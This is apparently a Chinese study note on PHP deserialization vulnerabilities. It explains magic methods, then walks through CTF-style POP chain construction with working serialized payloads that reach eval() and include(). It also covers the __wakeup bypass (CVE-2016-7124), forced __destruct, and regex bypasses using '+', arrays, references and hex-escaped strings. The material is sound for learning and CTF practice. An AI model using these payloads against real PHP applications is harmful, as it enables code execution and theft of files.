尘埃拂身,终归洁净之道;莲出淤泥,亦能不染自身。
参考《php反序列化漏洞教程》从零到精通2023超详细版 (完整版)_哔哩哔哩_bilibili
面向对象
面向过程是以事件为中心,按照我们编写我的代码时根据完成一个又一个的步骤的过程来进行
面向对象是以对象为中心。先把要完成的功能封装成一个一个的对象,通过调用对象的方法或属性来完成功能。
优缺点:
面向对象:优点:不仅关注眼前的实践实现,也关注未来可能发生的事件。具有高度的拓展性和复用性,特点是继承、封装、多态。
缺点:如果只是单一的功能实现,面向对象的设计思路会较为繁琐
面向过程:优点:根据事情的目的分解出过程,再一步步实施。对于不复杂的事件执行效率快。
缺点:只关注眼前事件的实现,开发复杂功能的时候繁琐。
类:一组具有相似特征的行为的对象的抽象描述。他定义了对象所具有的属性(成员变量)和行为(方法),是创建对象的模板或蓝图。类是抽象的,不占用内存空间,他只是对对象的描述。
对象:类的实例化结果,是类的具体实体。它具有类所定义的属性和行为,并且可以再程序中被直接使用。对象是具体的,占用内存空间。
魔术方法
php的模数方法是一组特殊的方法,以双下划线(__)开头和结束命名的。
它们再对象的生命周期中被自动调用,,用于执行特定的操作。这些魔术方法可以让开发者更好地控制和定制对象地行为。
__construct(), 类的构造函数,创建对象时进行初始化操作
__destruct(), 类的析构函数,在对象被销毁(即失去对对象的所有引用)之前执行一些清理操作
__call(), 在对象中调用一个不可访问或不存在方法时调用
__callStatic(), 调用一个不可访问或不存在的静态方法时调用
__get(), 访问一个对象的不可访问或不存在属性时调用
__set(), 对不可访问属性进行赋值时调用
__isset(), 当对不可访问或不存在属性调用isset()或empty()时调用
__unset(), 当对不可访问或不存在属性调用unset()时被调用。
__sleep(), 执行serialize()之前,先会调用这个函数
__wakeup(), 执行unserialize()之后调用这个函数
__toString(), 类被当成字符串时的回应方法
__invoke(), 用于将一个对象作为函数直接调用时的行为定义。
__set_state(),设置对var_export() 函数所产生的字符串的进行反序列化操作时行为。
__clone(), 当clone 关键字复制一个对象时调用
__autoload(), 尝试加载未定义的类
__debugInfo(), 打印所需调试信息
__construct():
对象初始化
class people{
public $name;
function __construct($name)
{
$this->name=$name;
}
}
$lili=new people('lili');
print_r($lili);
__destruct()
作用:在对象生命周期结束之前执行一些必要的清理操作,如释放资源、关闭数据库连接、保存对象状态等。
调用时机:对象被销毁时(php垃圾回收机制:脚本结束自动销毁对象)
传递参数:不可设置
返回值:无
class people{
public $name;
function __destruct()
{
echo '对象已被销毁';
echo '<br/>';
}
}
//第一次
$lili=new people();
//第二次
// 要点序列化之后形成了对象,也会触发_destruct函数
unserialize(serialize($lili));
__call()
函数作用:处理对象中不存在的方法的调用。
调用时机:调用一个不存在或不可访问的方法时。
传递参数:$method:被调用的方法名(字符串类型)。 $arguments:传递给该方法的参数列表(数组类型)。
返回值:自由定义返回值。
class people{
public $name;
public function __call($method, $arguments)
{
echo "不存在方法:$method";
echo '<br/>';
echo implode('; ', $arguments).' 的参数无效';//impode将数组$arguments每一个数以分号隔开
}
}
$lili=new people();
$lili->speak('我叫lili','今年18岁');
因为调用了一个不存在的方法,所以触发了__call方法。
当我们加上可访问的speak方法时
class people{
public $name;
public function __call($method, $arguments)
{
echo "不存在方法:$method";
echo '<br/>';
echo implode('; ', $arguments).' 的参数无效';//impode将数组$arguments每一个数以分号隔开
}
function speak(){
echo "123";
}
}
$lili=new people();
$lili->speak();
但当我们访问不可访问的函数时,
class people{
public $name;
public function __call($method, $arguments)
{
echo "不存在方法:$method";
echo '<br/>';
echo implode('; ', $arguments).' 的参数无效';//impode将数组$arguments每一个数以分号隔开
}
private function speak(){
echo "123";
}
}
$lili=new people();
//$lili->speak('我叫lili','今年18随');
$lili->speak();
就要触发__call函数了
__callStatic
函数作用:在调用一个不存在的静态方法时提供一个统一的处理逻辑使其不会导致错误。
调用时机:调用一个不存在或不可访问的静态方法时
传递参数:$method:被调用的静态方法名(字符串类型)。
$arguments:传递给该方法的参数列表(数组类型)。
返回值:自由定义返回值
class people{
public $name;
private function __callStatic($method, $arguments)
{
echo "不存在静态方法:$method";
echo '<br/>';
echo implode('; ', $arguments).' 的参数无效';
}
}
$lili=new people();
$lili::speak("我叫lili","今年18岁");
当然private的方法也不可访问。
class people{
public $name;
private function __callStatic($method, $arguments)
{
echo "不存在静态方法:$method";
echo '<br/>';
echo implode('; ', $arguments).' 的参数无效';
}
private static function speak(){
echo '123';
}
}
$lili=new people();
$lili::speak();//静态方法用::调用
__get()
函数作用:在访问一个对象的不存在或不可访问的属性时提供一个统一的处理逻辑使其不会导致错误。
调用时机:访问一个对象的不存在或不可访问的属性时。
传递参数:$name:被访问的属性的名称
返回值:自由定义返回值
class people{
public $name;
private $age;
function __get($name)
{
echo "$name 属性不可访问或者不存在<br/>";
}
}
$lili=new people();
$lili->age;//访问不可访问的属性age
$lili->height;//访问不存在的属性height
__set()
函数作用:在设置一个对象的不存在或不可设置的属性时提供一个统一的处理逻辑使其不会导致错误。
调用时机:在设置一个对象的不存在或不可设置的属性时。
传递参数:$name :属性名称 $value:设置的属性的值
返回值:通常无返回值
class people{
public $name;
private $age;
function __set($name, $value)
{
echo "$name 属性不可设置所以:'$value'值无效<br/>";
}
}
$lili=new people();
$lili->height='156cm';
$lili->age=20;
__isset()
函数作用:检查一个对象的不存在或不可访问的属性时提供一个统一的处理逻辑使其不会导致错误。(检查一个属性是否被设置了)
调用时机:检查一个对象的不存在或不可访问的属性时
传递参数:$name :属性名称
返回值:通常返回一个布尔值(true/false)
class people{
public $name='lili';
public $age;
public function __isset($name) {
echo "<br/>$name 不存在或无法访问所以没有设置";
}
}
$lili=new people();
var_dump(isset($lili->name)); //var_dump输出存在name的值,true
isset($lili->height); //用isset来判断有没有这个值时,就会触发__isset属性
empty($lili->height); //用empty检查是否为空时,也会触发__isset属性
__unset()
函数作用:销毁对象中未定义的属性时执行自定义的操作
调用时机:unset() 函数尝试删除对象的不存在或不可访问属性时自动触发
传递参数:$name :被销毁属性名称
返回值:无
class people{
public $name='lili';
private $age=19;
public function __unset($name) {
echo "无法删除或不存在属性: $name <br/>";
// 在这里可以添加自定义的逻辑操作
}
}
$lili=new people();
unset($lili->age);
unset($lili->height);
总结
__sleep()
函数作用:用于指定哪些对象属性需要在序列化时被保存
调用时机:在对象被序列化之前
传递参数:无
返回值:返回需要被序列化的属性名的数组
class people{
public $name='lili';
public $age=19;
public function __sleep()
{
return ['name'];
}
}
$lili=new people();
echo serialize($lili);
__wakeup()
函数作用:于指定在对象反序列化时需要执行的操作
调用时机:反序列化之后
传递参数:无
返回值:无
class people{
public $name='lili';
public $age=19;
public function __wakeup()
{
$this->age=20;
}
}
$lili=new people();
$a=serialize($lili);
echo $a;
echo '<br/>';
print_r(unserialize($a));
__toString()
函数作用:用于指定再对象反被当作字符串调用时需要执行的操作
调用时机:对象被隐式的转换成字符串时自动触发
传递参数:不接受传递参数
返回值:必须返回一个字符串。
class people{
public $name='lili';
public $age=19;
public function __toString()
{
return "我是lili";//必须返回一个字符串
}
}
$lili=new people();
echo $lili;//echo输出字符串,这是把$lili这个对象当作字符串时调用__toString()
__invoke()
函数作用:当一个对象被当作函数调用时,所执行的函数
调用时机:被作为函数调用时自动触发
传递参数:任意参数
返回值:任何类型
class people{
public $name='lili';
public $age=19;
public function __invoke($name)
{
echo '我叫:'.$name;
}
}
$lili=new people();
$lili('丽丽');//将对象当做一个函数
__set_state()
函数作用:方法用于指定对象从字符串形式恢复为PHP代码时的行为。它被用于var——export()函数所产生的字符串输出的反序列化操作。
调用时机:eval()函数对对象字符串转化为原始对象后。
传递参数:$data:对象的属性数组
返回值:最好返回一个对象的实例
class people{
public $name='lili';
public $age=19;
public static function __set_state($data) {
echo "<br/> __set_state被调用:";
// 输出对象的属性数组
print_r($data) ;
echo "<br/>";
$lili=new people();
return $lili;
}
}
$lili=new people();
$b = var_export($lili, true);
echo $b;
// 将导出的字符串转换为对象
eval('$c = ' . $b . ';');
echo $c->name;
__clone()
函数作用:在对象被克隆时提供一个修改克隆副本的机会。
调用时机:使用clone()关键字对一个对象进行克隆操作时
传递参数:无
返回值:不需要
class people{
public $name='lili';
public $age=19;
public $clone='我lili是本体';
function __clone()
{
$this->clone='这个是克隆对象';
}
}
$lili=new people();
$lili2=clone $lili;
echo $lili->clone;
echo '<br/>';
echo $lili2->clone;
__autoload
函数作用:PHP引擎尝试实例化一个未定义的类时,动态加载类文件
调用时机:尝试使用一个未定义的类时
传递参数:$name:类名
返回值:不需要
function __autoload($name)
{
echo "没有$name 这个类哦~";
}
$lili=new people();
__duginfo()
函数作用:自定义对象在被调试的输出,可以控制对象在使用var_dump()函数时打印的信息。
调用时机:在使用 var_dump() 函数或调试时自动调用。
传递参数:无
返回值:返回一个数组,其中包含要在调试输出中显示的属性和其对应的值。
class people{
public $name='lili';
public $age=19;
function __debugInfo(){
return ['a'=>'啊哈哈哈'];
}
}
$lili=new people();
var_dump($lili);
POP学习
pop链构造技巧:
1.简单浏览:找出可能的漏洞点。
注意一写容易触发漏洞的函数:eval、include
2.根据漏洞点反推:看逻辑是否可行、参数是否可写入、魔术方法是否能触发、条件是否可达成)
一般先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找到执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可。
3.最后构造poc验证
构造的时候根据上一步找到条件最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁)
例题:
class test{
private $index;
function __construct()
{
$this->index=new index();
}
function __destruct()
{
$this->index->hello();
}
}
class index{
public function hello(){
echo 'hello ~~';
}
}
class execute{
public $test;
function hello(){
eval($this->test);
}
}
if(isset($_GET['test'])){
@unserialize($_GET['test']);
highlight_file(__FILE__);
}
else{
$a=new test;
}
1.找到漏洞点 eval($this->test);,要满足这注入点就要执行execute中的hello函数。
2.要执行hello函数,就要让test类的__destruct触发,并且让__construct里的$index=new execute();
3.构造pop链:
<?php class test{ private $index; function __construct() { $this->index=new execute(); } } class execute{ public $test="phpinfo();"; } $a=new test(); echo urlencode(serialize($a));//因为$index时private的所以要用urlecxode ?>
O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00index%22%3BO%3A7%3A%22execute%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
注意:不能直接写成这样
class test{
private index=new execute();
}
练习1:
class Modifier {
protected $var;
public function append($value){
include($value);//漏洞函数
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
1.找到漏洞函数include再append()里。要触发apend()函数就要触发__invoke()。
2.__invoke出发的条件是把对象当作函数来调用。继续找到了Test类中的__get方法里把返回$function(),而function又指向了$p,所以让$p=new Modifier()就行了。
3.想要触发Test类里的__get方法就要让Test的对象访问不存在或不可访问的属性。
4.然后就找到了Show类中的__toString方法里的$this->str->source;使$str=new Test() $source为Test对象不可访问的属性。
5.要触发__toString()方法就要让Show的对象作为字符串。而Show类里的__wakeup()方法里的preg_match()方法正好把$source当作一个字符串。所以可以使source=new Show();
6.触发__wakeup的条件是反序列化Show对象。
所以pop链为__wakeup——__toString——__get——__invoke——append
构造pop:
class Modifier {
protected $var="flag.php"; #include函数使用为协议读取文件
// protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
//将另一个对象赋值给属性需要使用构造函数。
public function __construct(){
$this->str =new Test();
}
}
$a = new Show();//此时source(show)->str
$a->source = new Show();//source(show)->str之后触发_tostring然后访问source(test)触发__get()
$a->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($a));
一些绕过操作
输出类的原有属性
<?php
class test{
public $flagersdcxzertt= 'flag:{hellowordhhh}';
};
$a=new test();
// echo (serialize($a));
var_dump(unserialize($_GET['test']));
// O:4:"test":1:{s:1:"f";s:1:"f";}
highlight_file(__FILE__);
?>
当我们不知道类中有哪些属性时,我们可以随便构造一个o:4:"test":1:{s:1:"f";s:1:"f";}
注意构造:属性名于属性值相同。
进行传参:
当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性
序列化同属性值覆盖
<?php
class people{
public $name='lili';
public $age='20';
}
echo serialize(new people());
// O:6:"people":3:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";s:4:"name";s:6:"天欣";}
// O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}
var_dump(unserialize($_GET['test']));
highlight_file(__FILE__);
// echo 'O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}';
// var_dump(unserialize('O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}'))
// 序列化属性可覆盖,汉字的一个字节长度为3
?>
序列化字符串出现重复的属性和值,后者会覆盖原先的值。
传入O:6:"people":3:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";s:4:"name";s:6:"天欣";}时
覆盖了原有的属性值
当传入:O:6:"people":3:{s:4:"name";s:4:"lili";s:4:"name";s:6:"天欣";}时
当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性
绕过__wakeup函数(CVE-2016-7124)
__wakeup()魔术方法在执行unserialize()时,会有优先调用这个函数,而不会执行__construct()函数
绕过方法:序列化字符串中表示对象属性个数的值为大于真实的属性个数时会跳过__wakeup
的执行。
漏洞影响版本:php5<5.6.25 php7<7.0.10
<?php
header('Content-Type: text/html; charset=utf-8');
class user{
public $username;
function __wakeup()
{
echo '<br/>触发了__wakeup()';
}
function __destruct()
{
echo '<br/>触发了 __destruct()';
}
}
$a=unserialize($_GET['user']);
var_dump($a);
highlight_file(__FILE__);
// O:4:"user":1:{s:8:"username";s:5:"admin";}
?>
当传入?user=O:4:"user":1:{s:8:"username";s:5:"admin";}时
反序列化先触发了wakeup函数,在执行var_dump,最后才触发__destruct()
当我们传入user=O:4:"user":2:{s:8:"username";s:5:"admin";}时
反序列化之后直接触发了__destruct
例题:
<?php
header('Content-Type: text/html; charset=utf-8');
class open{
public $file='index.php';
function __wakeup()
{
$this->file='index.php';
}
function __destruct()
{
include($this->file);
}
}
if(isset($_GET['open']))
{
$a=unserialize($_GET['open']);
}
else{
$b=new open();
}
highlight_file(__FILE__);
// O:4:"open":1:{s:4:"file";s:8:"flag.php";}
?>
传入open=O:4:"open":2:{s:4:"file";s:8:"flag.php";}即可
__destruct()强制触发
<?php
header('Content-Type: text/html; charset=utf-8');
class test{
public $i;
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."被销毁...\n"; }
}
// 直接new对象会被销毁;
new test('1');
$a = new test('2');
// 给一个对象变量重新赋值之前的对象会被销毁。
$a = 1;
// 正常的实例对象会在脚本运行结束自动销毁
$a=new test('3');
//使用unset也可以手动删除对象从而触发
unset($a);
$a=new test('4');
echo "<br/>—————脚本结束——————<br/>";
highlight_file(__FILE__);
?>
例题:
<?php
header('Content-Type: text/html; charset=utf-8');
class test {
public $p=1;
function __destruct()
{
echo 'flag:{_Sdw-_wds s}';
}
}
if (isset($_GET['input'])) {
$a = unserialize($_GET['input']);
//抛出错误强制终止程序
throw new Exception('stop');
}
// $a = new test();
// echo serialize($a);
// O:4:"test":1:{s:1:"p";i:1;}
// print_r(unserialize('a:2:{i:0;O:4:"test":0:{}i:1;N;}'));
// echo serialize(array(new test(),'2'));
// a:2:{i:0;O:4:"test":1:{s:1:"p";i:1;}i:0;N;}
highlight_file(__FILE__);
?>
这题思路就是给一个对象变量重新赋值之前的对象变量。会强制触发。
因为序列化的时候是从左到右依次进行,我们先将数组的arry[0]赋值为test实例再将原来序列化字符串的arry[1]的角标改为0,使其后面的值覆盖掉arry[0]的test实例达到强制触发__destruct
绕过特定正则:
如preg_match(’/^0:\d+/‘)匹配序列化字符串是否是对象字符串开头。
’/^0:\d+/‘ 是一个正则表达式模式,用于匹配以“0:”开头后面跟一个或多个数字的字符串。
^表示匹配字符串的开始位置。
0:匹配字面值为“0:"。
\d+匹配一个或多个数字。
绕过方法:1.利用加号绕过(注意再url里传参时+要编码为%2B)。
如:O:+4:"open":2:{s:4:"file";s:8:"flag.php";}
2.利用数组对象绕过,如serialize(array($a));a为要反序列化的对象(序列化结果开头时a,不影响作为数组元素的$a的析构)。
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
class test{
public $a= 'flag:{hellowordhhh}';
public function __destruct(){
echo $this->a;
}
}
function match1($data){
if (preg_match('/^O:\d+/',$data)){
die('byebye');
}else{
return $data;
}
}
$a = 'O:+4:"test":1:{s:1:"b";s:3:"abc";}';
// +号绕过在高版本php不可行
unserialize(match1($a));
// 将对象放入数组绕过 serialize(array($a));这个在较高版本php可行
// unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
?>
利用引用实现严格等于
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){
if($this->a === $this->b) {
include('flag.php');
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
echo 'failed';
}
unserialize($_REQUEST['input']);
}else {
highlight_file(__FILE__);
}
过滤了aaa所以我们直接输入是不可以的,但是我们可以通过php的引用来引用a属性的地址值,使得$b和$a地址相同进而使得值相等。这时我们可以构造 $this->b=$this->a,使b的地址与a的地址形同
16进制绕过:
// class test {
// public $a='aaa';
// public $b;
// public function __construct(){
// $this->b ='aaa';
// }
// }
// // var_dump(new test());
// $a = serialize(new test());
// // echo $a;
// echo urlencode('O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";S:3:"a\\61a";}');
// O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";R:2;}
// 把字符串类型的s改成大写的S之后,可以使用16进制绕过正则,注意要url编码之后再传参数
// O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";S:3:"a\\61a";}//\61为16进制的a 第一个\为转义字符
// O%3A4%3A%22test%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22b%22%3BS%3A3%3A%22a%5C61a%22%3B%7D
把字符串类型的s改成大写的S之后,可以使用16进制绕过正则,注意要url编码之后再传参数
当通过浏览器去访问时,浏览器会自动把S转换为小写,所以我们要使用url编码后的
例题:
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
include('flag.php');
}
}
function check($data){
if(preg_match('/username/', $data)){
echo("failed!!!</br>");
}
else{
return $data;
}
}
// 未作处理前,会被拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
$a = 'O:4:"test":1:{S:8:"u\\73ername";S:5:"\\61dmin";}';
// s要大写,在序列化字符串当中会被当作十六进制解析
var_dump(unserialize($a));